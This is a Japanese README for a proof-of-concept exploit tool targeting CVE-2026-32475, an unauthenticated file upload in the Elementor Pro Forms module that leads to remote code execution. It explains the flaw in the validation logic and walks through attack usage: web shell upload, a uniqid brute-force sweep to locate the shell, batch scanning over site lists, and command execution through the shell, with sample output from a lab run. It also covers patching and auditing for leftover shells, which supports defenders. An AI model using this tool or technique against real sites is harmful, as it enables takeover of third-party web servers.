
CVE-2026-32475の概念実証エクスプロイト。Elementor Proにおける認証不要の任意ファイルアップロードにより、リモートコード実行に至ります。自動検出、アップロード、コマンド実行、およびクリーンアップ機能を含みます。
CVE-2026-32475(CVSS 9.0 Critical、CWE-434)のPoC:Elementor Pro Formsモジュールにおける認証なし任意ファイルアップロードにより、リモートコード実行に至ります。Elementor Pro 4.2.2(2026-08-19)で修正済み。Patchstack Bug Bountyプログラムを通じてTin Pham(TF1T)氏により報告されました。
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
この概念実証コードは、認可されたセキュリティ研究、教育、および防御的テストのみを目的として提供されています。
Elementor Proフォームのファイルアップロードフィールドは、アップロードされたエントリを異なるセマンティクスを持つ2つの別々のループで処理します():
modules/forms/fields/upload.php// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- メソッド全体を中断
}
// is_file_type_valid() ... // 2番目のエントリには到達しない
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- このエントリのみスキップ
}
$filename = uniqid() . '.' . $file_extension; // 攻撃者が制御する拡張子
move_uploaded_file( $file['tmp_name'], $new_file );
}
同じアップロードフィールドに対して2つのファイルパーツを送信する — 空の最初のパーツ(filename="" → UPLOAD_ERR_NO_FILE)に続いて.phpペイロードを送信すると、validation()は拡張子ブロックリストがペイロードを確認する前に戻り、一方process_field()はそれをwp-content/uploads/elementor/forms/<uniqid()>.php(公開Webディレクトリ)に移動します。そのURLに直接リクエストすると = リモートコード実行となります。
アップロードはPOST /wp-admin/admin-ajax.php(action=elementor_pro_forms_send_form)で処理され、認証もnonceも不要です。post_id、form_id、アップロードフィールド名は公開ページのHTMLに表示されるため、攻撃全体が認証なしで実行可能です。
ターゲット:
攻撃者:
単一ターゲット(サイトマップ/ホームページからフォームページを自動検出):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
フォームページを明示指定:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
バッチモード(sites.txt:1行に1サイト — base_urlまたはbase_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
JSONリスト形式:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
アップロード済みシェルでコマンドを実行:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| フラグ | デフォルト | 説明 |
|---|---|---|
--url | - | 単一ターゲットのベースURL |
--list | - | バッチモードのリストファイル |
--page-url | --url | フォームを含むページ |
--command | id; hostname; uname -a | シェルを通じて実行するコマンド |
--cleanup | オフ | テスト後にウェブシェルを自己削除 |
--field k=v | - | 自動入力されたフォームフィールドを上書き(繰り返し指定可能) |
--tail | 0.3 | 推定アップロード時間前のファインスイープ開始までの秒数 |
--step-fine | 1 | ファインスイープのマイクロ秒ステップ |
--full-second | オフ | uniqidの全秒をブルートフォース(クロックスキュー対策) |
--attempts | 1 | アップロード+スイープの試行回数(毎回新しいランダムファイル名) |
--max-probes | 600000 | 試行あたりのスイープリクエスト予算 |
--workers | 50 | 並列スイープスレッド数 |
--insecure | オフ | TLSエラーを無視(自己署名ターゲット用) |
--out file.json | - | レポートをJSONで書き出し |
post_id、form_id、アップロードフィールド名、およびその他のすべてのフォームフィールドを抽出し、必須フィールドが検証を通過するようにすべてのフィールドに妥当な値を自動入力します(--fieldで上書き可能)。admin-ajax.phpに送信します。注意:success:falseでerrorsオブジェクトが空の場合でもアップロード成功として扱われます。これは、デフォルトのEmailアクションがwp_mail()失敗時にファイル移動後に例外を発生させるためです。アップロードフィールド自体の拒否(file type is not allowed)のみがブロックとしてカウントされます。uniqid() = 8桁の16進秒 + 5桁の16進マイクロ秒。秒はレスポンスのDateヘッダーから取得し、秒未満の部分は(t1 - date_epoch) % 1から推定します(攻撃者とサーバーのクロックが近い場合に正確)。キープアライブプローバー(接続あたり1リクエストより約30倍高速)がマイクロ秒解像度で移動ウィンドウをスイープします。クロックスキューがある場合は--full-secondで全秒をブルートフォースします。GET <shell>?c=<command>でコマンドを実行し、--cleanupで?x=1によりシェルを削除します。| ステータス | 意味 |
|---|---|
vulnerable | シェルがアップロードされコマンドが実行されました — 今すぐパッチ適用 |
blocked | アップロードフィールドが拒否されました(4.2.2+で修正済み、必須フィールド、WAF、CAPTCHA) |
uploaded_no_exec | ファイルは配置されたがファイル名を復元できませんでした(--full-secondで再試行) |
no_form | ターゲットに脆弱なフォームが見つかりませんでした |
error | 接続/ネットワークエラー |
docker-compose.yml + setup_form_page.phpで脆弱なターゲットを再現します:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# 合法的に入手したelementor-pro.zip(<= 4.2.1)をプロジェクトディレクトリに配置し、次に:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
Elementor Proを**4.2.2+**に更新してください。更新により穴は塞がりますが、既にアップロードされたシェルは削除されません — wp-content/uploads/elementor/forms/に残存する.phpファイルがないか監査してください。
認可されたセキュリティ研究およびラボ使用のみを目的としています。